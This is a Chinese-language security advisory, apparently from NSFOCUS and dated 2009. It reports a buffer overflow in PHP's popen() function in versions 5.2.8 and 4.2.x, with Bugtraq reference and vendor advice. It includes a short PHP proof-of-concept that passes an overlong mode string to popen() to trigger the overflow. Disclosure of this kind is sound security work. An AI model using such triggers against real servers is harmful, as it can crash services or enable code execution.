安全研究

安全漏洞
PHP popen()函数缓冲区溢出漏洞

发布日期:2009-01-12
更新日期:2009-01-13

受影响系统:
PHP PHP 5.2.8
PHP PHP 4.2.1
PHP PHP 4.2.0
描述:
BUGTRAQ  ID: 33216

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的Popen()函数用创建管道的方式启动进程,并调用shell。在打开管道时Popen()函数会fork指定的命令参数:

     popen ( string $command_to_execute , string $mode )

如果第二个参数超长的话,就可能触发缓冲区溢出,导致执行任意代码。

<*来源:e.wiZz! (ew1zz@hotmail.com
  
  链接:http://marc.info/?l=bugtraq&m=123178293931022&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$____buff=str_repeat("A",9999);
$handle = popen('/whatever/', $____buff);
echo $handle;
?>

建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

浏览次数:3618
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障